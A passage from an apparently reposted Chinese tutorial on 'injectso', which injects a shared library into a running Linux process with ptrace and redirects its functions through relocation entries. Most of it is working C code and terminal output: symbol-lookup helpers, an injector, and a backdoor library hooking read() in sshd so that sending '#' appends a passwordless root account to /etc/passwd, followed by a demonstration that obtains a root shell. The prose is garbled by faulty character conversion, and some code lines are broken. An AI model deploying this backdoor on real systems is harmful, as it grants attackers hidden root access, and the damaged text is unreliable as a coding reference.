设为主页 | 加入收藏 | 繁體中文

共享库注射--injectso实例


  char *str;
  sym_addr = find_symbol_in_linkmap(pid, map, sym_name);
  if (sym_addr)
  return sym_addr;
  if (!map->l_next) return 0;
  ptrace_read(pid, (unsigned long)map->l_next, lm, sizeof(struct link_map));
  sym_addr = find_symbol_in_linkmap(pid, lm, sym_name);
  while(!sym_addr && lm->l_next) {
  ptrace_read(pid, (unsigned long)lm->l_next, lm, sizeof(struct link_map));
  str = ptrace_readstr(pid, (unsigned long)lm->l_name);
  if(str[0] == '\0')
  continue;
  printf("[%s]\n", str);
  free(str);
  if ((sym_addr = find_symbol_in_linkmap(pid, lm, sym_name)))
  break;
  }
  return sym_addr;
  }
  /*
  在指定的link_map指向的符号表查找符号,它仅仅是被上面的find_symbol利用
  */
  unsigned long find_symbol_in_linkmap(int pid, struct link_map *lm, char *sym_name)
  {
  Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
  int i;
  char *str;
  unsigned long ret;
  get_sym_info(pid, lm);
  for(i = 0; i < nchains; i++) {
  ptrace_read(pid, symtab + i * sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym));
  if (!sym->st_name || !sym->st_size || !sym->st_value)
  continue;
  /* 因为我还要经过此函数剖析非函数范例的符号,因此将此处封上了
  if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC)
  continue;
  */
  str = (char *) ptrace_readstr(pid, strtab + sym->st_name);
  if (strcmp(str, sym_name) == 0) {
  free(str);
  str = ptrace_readstr(pid, (unsigned long)lm->l_name);
  printf("lib name [%s]\n", str);
  free(str);
  break;
  }
  free(str);
  }
  if (i == nchains)
  ret = 0;
  else
  ret = lm->l_addr + sym->st_value;
  free(sym);
  return ret;
  }
  /* 查找符号的重定位地点 */
  unsigned long find_sym_in_rel(int pid, char *sym_name)
  {
  Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel));
  Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
  int i;
  char *str;
  unsigned long ret;
  get_dyn_info(pid);
  for(i = 0; i< nrels ;i++) {
  ptrace_read(pid, (unsigned long)(jmprel + i * sizeof(Elf32_Rel)),
  rel, sizeof(Elf32_Rel));
  if(ELF32_R_SYM(rel->r_info)) {
  ptrace_read(pid, symtab + ELF32_R_SYM(rel->r_info) *
  sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym));
  str = ptrace_readstr(pid, strtab + sym->st_name);
  if (strcmp(str, sym_name) == 0) {
  free(str);
  break;
  }
  free(str);
  }
  }
  if (i == nrels)
  ret = 0;
  else
  ret = rel->r_offset;
  free(rel);
  return ret;
  }
  /*
  在进程本身的映象中(即不包罗静态共享库,无须遍历link_map链表)得到种种静态信息
  */
  void get_dyn_info(int pid)
  {
  Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
  int i = 0;
  ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
  i++;
  while(dyn->d_tag){
  switch(dyn->d_tag)
  {
  case DT_SYMTAB:
  puts("DT_SYMTAB");
  symtab = dyn->d_un.d_ptr;
  break;
  case DT_STRTAB:
  strtab = dyn->d_un.d_ptr;
  //puts("DT_STRTAB");
  break;
  case DT_JMPREL:
  jmprel = dyn->d_un.d_ptr;
  //puts("DT_JMPREL");
  printf("jmprel\t %p\n", jmprel);
  break;
  case DT_PLTRELSZ:
  totalrelsize = dyn->d_un.d_val;
  //puts("DT_PLTRELSZ");
  break;
  case DT_RELAENT:
  relsize = dyn->d_un.d_val;
  //puts("DT_RELAENT");
  break;
  case DT_RELENT:
  relsize = dyn->d_un.d_val;
  //puts("DT_RELENT");
  break;
  }
  ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
  i++;
  }
  nrels = totalrelsize / relsize;
  free(dyn);
  }
  上面的函数大概较<四>中的复杂了一些,但是它们也是容易明白的,这需要你对ELF
  有肯定的相识,我无法在这里表明更多的关于ELF内容,最好的和最有用的措施是你
  去阅读范例,文后的参考文献中给出了下载地点。
  六、** 一个简单的后门步伐
  有了上面介绍的函数,现在我们可以很容易的编写出injectso步伐,下面让我们来写
  一个简单后门步伐。首先,我们回想一下前面介绍的injectso事情步骤,看看我们是
  否已经有足够的辅助函数来完成它。第1步,我们可以挪用上面给出的ptrace_attach()
  完成。第2步,可以经过find_symbol()找到_dl_open的地点。第3步我们可以挪用
  ptrace_call()来挪用_dl_open,但是要注意_dl_open界说为'internal_function',
  这说明它的通报方式是经过寄存器而不是堆栈,如许看来在挪用_dl_open之前还需做一
  些噜苏的操作,那么我们还是把它封装起来更好。第4步,函数重定向,我们可以经过
  符号剖析函数和RELOCATION地点获取函数找到新老函数地点,地点都已经找到,那替换
  它们只是一个简单的操作了。第5步,仅仅挪用ptrace_detach就可以了。OK,看来全部
  的步骤我们都可以很轻松的完成了,只要3还需要个小小的封装函数,现在就来完成它:
  void call_dl_open(int pid, unsigned long addr, char *libname)
  {
  void *pRLibName;
  struct user_regs_struct regs;
  /*
  先找个空间寄存要装载的共享库名,我们可以简单的把它放入堆栈
  */
  pRLibName = ptrace_push(pid, libname, strlen(libname) + 1);
  /* 设置参数到寄存器 */
  ptrace_readreg(pid, ?s);
  regs.eax = (unsigned long) pRLibName;
  regs.ecx = 0x0;
  regs.edx = RTLD_LAZY;
  ptrace_writereg(pid, ?s);
  /* 挪用_dl_open */
  ptrace_call(pid, addr);
  puts("call _dl_open ok");
  }
  到这里全部的基础问题都已经解决(只是相对而言,在有些情况下大概需要解决系统
  挪用或临界区等问题,本文没有触及,但是我们的步伐依然可以很好的实行),现在
  需要考虑的我们做一个什么样的后门步伐。为了简单,我计划作一个注射SSH服务的
  后门步伐。我们只需要重定向read挪用到我们本身的newread,并在newread中参加对
  读取到的内容进行果断的语句,如果发明读到的第一个字节是#号,我们将向/etc/passwd
  追加新行"injso::0:0:root:/root:/bin/sh\n",如许我们就有了一个具
  有ROOT权限的用户injso,并且不需要登陆密码。凭据这个思路来建立我们的.so:
  [root@grip2 injectso]# cat so.c
  #include
  #include
  ssize_t (*oldread)(int fd, void *buf, size_t count);
  ssize_t newread(int fd, void *buf, size_t count)
  {
  ssize_t ret;
  FILE *fp;
  char ch = '#';
  ret = oldread(fd, buf, count);
  if (memcmp(buf, (void *)&ch, 1) == 0) {
  fp = fopen("/etc/passwd", "a");
  fputs("injso::0:0:root:/root:/bin/sh\n", fp);
  fclose(fp);
  }
  return ret;
  }
  我们来编译它
  [root@grip2 injectso]# gcc -shared -o so.so -fPIC so.c -nostdlib
  好了,我们已经有了.so,下面就仅剩下main()了,让我们来看看:
  [root@grip2 injectso]# cat injso.c
  #include
  #include
  #include
  #include "p_elf.h"
  #include "p_dbg.h"
  int main(int argc, char *argv[])
  {
  int pid;
  struct link_map *map;
  char sym_name[256];
  unsigned long sym_addr;
  unsigned long new_addr,old_addr,rel_addr;
  /* 从命令行取得目标进程PID
  pid = atoi(argv[1]);
  /* 接洽关系到目标进程 */
  ptrace_attach(pid);
  /* 得到指向link_map链表的指针 */
  map = get_linkmap(pid); /* get_linkmap */
  /* 发明_dl_open,并挪用它 */
  sym_addr = find_symbol(pid, map, "_dl_open"); /* call _dl_open */
  printf("found _dl_open at addr %p\n", sym_addr);
  call_dl_open(pid, sym_addr, "/home/grip2/me/so.so"); /* 注意装载的库地点 */
  /* 找到我们的新函数newread的地点 */
  strcpy(sym_name, "newread"); /* intercept */
  sym_addr = find_symbol(pid, map, sym_name);
  printf("%s addr\t %p\n", sym_name, sym_addr);
  /* 找到read的RELOCATION地点 */
  strcpy(sym_name, "read");
  rel_addr = find_sym_in_rel(pid, sym_name);
  printf("%s rel addr\t %p\n", sym_name, rel_addr);
  /* 找到用于保存read地点的指针 */
  strcpy(sym_name, "oldread");
  old_addr = find_symbol(pid, map, sym_name);
  printf("%s addr\t %p\n", sym_name, old_addr);
  /* 函数重定向 */
  puts("intercept..."); /* intercept */
  ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr));
  ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr));
  ptrace_write(pid, rel_addr, &sym_addr, sizeof(sym_addr));
  puts("injectso ok");
  /* 离开进程 */
  ptrace_detach(pid);
  exit(0);
  }
  现在全部的事情都已经做好,你需要的是把上面介绍的函数都写到本身的.c步伐文件
  中,如许就可以编译了,我们来编译它
  [root@grip2 injectso]# gcc -o injso injso.c p_dbg.c p_elf.c -Wall
  [root@grip2 injectso]# ls
  injso injso.c make p_dbg.c p_dbg.h p_elf.c p_elf.h so.c so.so
  ok,启动ssh服务,并开始注射
  [root@grip2 injectso]# /usr/sbin/sshd
  [root@grip2 injectso]# ps -aux|grep sshd
  root 763 0.0 0.4 2676 1268 ? S 21:46 0:00 /usr/sbin/sshd
  root 1567 0.0 0.2 2004 688 pts/0 S 21:57 0:00 grep sshd
  [root@grip2 injectso]# ./injso 763
  phdr_addr 0x8048034
  dyn_addr 0x8084c2c
  GOT 0x80847d8
  map_addr 0x40016998
  [/lib/libdl.so.2]
  [/usr/lib/libz.so.1]
  [/lib/libnsl.so.1]
  [/lib/libutil.so.1]
  [/lib/libcrypto.so.2]
  [/lib/i686/libc.so.6]
  lib name [/lib/i686/libc.so.6]
  found _dl_open at addr 0x402352e0
  call _dl_open ok
  [/lib/libdl.so.2]
  [/usr/lib/libz.so.1]
  [/lib/libnsl.so.1]
  [/lib/libutil.so.1]
  [/lib/libcrypto.so.2]
  [/lib/i686/libc.so.6]
  [/lib/ld-linux.so.2]
  [/home/grip2/me/so.so]
  lib name [/home/grip2/me/so.so]
  newread addr 0x40017574
  DT_SYMTAB
  jmprel 0x804ac9c
  read rel addr 0x8084bc0
  [/lib/libdl.so.2]
  [/usr/lib/libz.so.1]
  [/lib/libnsl.so.1]
  [/lib/libutil.so.1]
  [/lib/libcrypto.so.2]
  [/lib/i686/libc.so.6]
  [/lib/ld-linux.so.2]
  [/home/grip2/me/so.so]
  lib name [/home/grip2/me/so.so]
  oldread addr 0x40018764
  intercept...
  new_addr 0x401fc530
  injectso ok
  注射乐成,测试一下,看看效果,可以在任何机器上telnet被注射机的22端口,
  并传送一个#号
  $ telnet 127.0.0.1 22
  Trying 127.0.0.1...
  Connected to 127.0.0.1.
  Escape character is '^]'.
  SSH-1.99-OpenSSH_2.9p2
  # <-------------------我们输入#号,并回车
  Protocol mismatch.
  Connection closed by foreign host.
  看看后门是否起作用了,登陆系统:
  localhost login: injso
  Last login: Sat Aug 17 21:58:40 from :0
  sh-2.05#
  OK,得到了ROOT,测试乐成。
  七、** 最后
  在学习injectso的历程中,我阅读了一些相关的资料,但是我发明大概是由于injectso中
  触及到的某些技术已经非常成熟和普及,因此很难找到一个从整体上完整的描述injectso
  的文章,你能发明的是许多的文章都只是对此中的某一个技术环节进行探究,如许对初学
  者而言,就不容易去完整的明白injectso,也就不克不及很快的去应用它。为了打扫这个障碍,
  我写了这篇文章,当然由于程度无限,文章的重点也仅仅是放在提供一点思路资助你去快
  速的建立一个injectso上,而对相关的技术没有深入的探究,不是不可以在这里介绍,而
  是感觉着实是有点布鼓雷门,更好的技术文章许多,象injectso3.ppt就很不错,我发起你
  去细致的阅读它。
  最后,如果您对本文有什么意见或发起,请EMAIL给我,我也很希望晓得您的看法。
  希望更多的交换 -- E-mail
  八 ** 参考文献
  http://packetstormsecurity.nl/mag/phrack/phrack59.tar.gz
  http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt
  ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz
  http://www.big.net.au/~silvio/lib-redirection.txt
  http://online.securityfocus.com/data/library/subversiveld.pdf
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: